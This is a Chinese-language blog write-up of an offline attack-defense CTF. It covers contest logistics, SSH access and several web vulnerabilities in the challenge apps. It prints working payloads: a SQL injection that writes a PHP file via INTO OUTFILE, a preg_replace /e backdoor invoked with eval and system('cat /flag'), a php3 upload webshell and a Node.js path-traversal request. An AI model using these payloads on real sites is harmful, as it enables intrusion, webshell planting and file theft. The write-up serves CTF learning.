导航
导航
文章目录
  1. [心得]
  2. 线下比赛套路汇总
  3. 比赛的插曲
  4. web的漏洞汇总

新疆首届攻防比赛wp

[心得]

下线攻防类比赛,算是第一次参加赛宁举办的线下攻防了,赛前以为会有简单的内置后门可以使用,都已经写好了通过一句话木马写内存马的批量脚本了,但是比赛时没有发现简单的内置一句话木马,导致比赛进程不是很顺利,名次也不佳,其次也是自己太菜。这里就再次简单的总结一下线下攻防比赛的思路和这次比赛的分析。

线下比赛套路汇总

就把给别人培训时写好的PPT贴一下吧
ppt
ppt
ppt
ppt
线下攻防的比赛思路大致应该就这么多吧,比较硬的技能点应该是快速定位漏洞和批量脚本的编写上了吧,只要把套路融会贯通,应该能狗住。

比赛的插曲

这里贴一下赛宁比赛的比赛说明关键点如下


比赛环境

  • 选手登录后下载环境信息zip包,zip解压密码即为登录密码,zip包中包含包含以下信息:环境ip、登录私钥、选手token;
  • 题目虚拟机使用私钥ssh登录,用户名为xctf,私钥在下载的环境信息zip包中;
  • 主办方提供各赛题端口的流量数据,在本队维护的题目虚拟机/home/xctf/packages/下,流量数据每10分钟提供一次,如果磁盘空间不足注意清理。
  • 每个参参赛选手员网线连接自己PC,dhcp获取地址即可
    两个web,两个pwn
    提交Flag
    登录页面下载的环境信息包含token信息,选手凭借此 token 身份提交 flag。
    提交样例:
    curl http://172.16.200.14:9000/submit_flag/ -d "flag=XXXXX&token=XXXXX"

比赛过程中通过私钥进行登录,导致很多选手不会使用私钥登录,很尴尬,具体的使用如下

1
2
3
sudo ssh -i id_rsa xctf@172.16.5.103
sudo scp -i id_rsa xctf@172.16.3.102:/tmp/web102-cap.tar /home/xjseck/桌面/
windwos建议使用MobaXterm shell终端,导入私钥文件,进行登录,和文件下载

后面的操作按照上面的比赛套路进行操作就OK了。

web的漏洞汇总

WEB2汇总
首先我们还要了解web网站的文件配置权限

我们可以看出用户的操作权限明显比www-data用户权限高,也就是防御者的权限高于攻击者的权限,可以防止getshell之后被删站,也可以进行源码的修改。
之后就可以进行常规的操作了
D盾扫描没有常见的后门文件,那现在思路就有两个了,一、先不进行防御,下载流量文件/home/xctf/packages/进行分析,找到漏洞点,利用别人的shell。二、进行防御,可以通过文件的所属者,进行shell的查杀,之后进行代码审计,寻找漏洞。
漏洞一

添加cookie,绕过后台登录验证。
cookie
然后水印图片处上传php3后门文件getshell
cookie

漏洞二
后台登录处sql注入
/admin/files/login.php

1
2
3
4
5
6
7
8
9
10
11
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

未对用户输入的用户名和密码进行过滤导致sql注入
pyload:user=1' union select 1,2,3,4,5,6,7,'<?php phpinfo();?>' into outfile '/var/www/html/upload/1.php'#&password=qweq&login=yes
sqlinject

漏洞三
/files/list.php
129行左右

1
2
3
4
5
function getpages($str)
{
echo '123';
}
<?php if(strpos('list',__FILE__)===false){preg_replace("/123(.*)123/ies", 'getpages("\1")', $_GET["pages"]); } ?>

典型的preg_replace /e后门
比赛当时就4个小时的时间,光去利用了第一个漏洞,后面的漏洞,在日志流量中也没有看到,就没有细看,问题很大。
payload:files/list.php?pages=123{${eval($_GET[a])}}123&a=system('cat /flag');
prge_replace

WEB1汇总
Nodejs的一个博客,这个比赛的时候大家应该都没有找到什么漏洞吧,赛后问了一下主办方的师傅,一般的思路点就是:搜索uoload 或者download等关键字,进行查找分析代码,具体漏洞点有
main.js 在处理uploads 的逻辑时,可以从url中传入..%2f 造成目录穿越读取任意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.get("/uploads/(*)",
function(req, res) {

if (req.path.indexOf("images") < 0) {
res.set(prefix);
res.send("Error!");
res.end();
} else if (req.path.indexOf('\\.md') > 0) {
res.set(prefix);
res.send("Error!");
res.end();
} else {
res.set({
"Content-Type": "images/jpeg"
});
text = fs.readFileSync(__dirname + decodeURIComponent(req.path));
res.send(text);
res.end();
}
});

payload:/uploads/images/..%2f..%2f..%2f..%2f..%2f..%2f..%2f/flag

支持一下
扫一扫,支持作者

Powered by HyperComments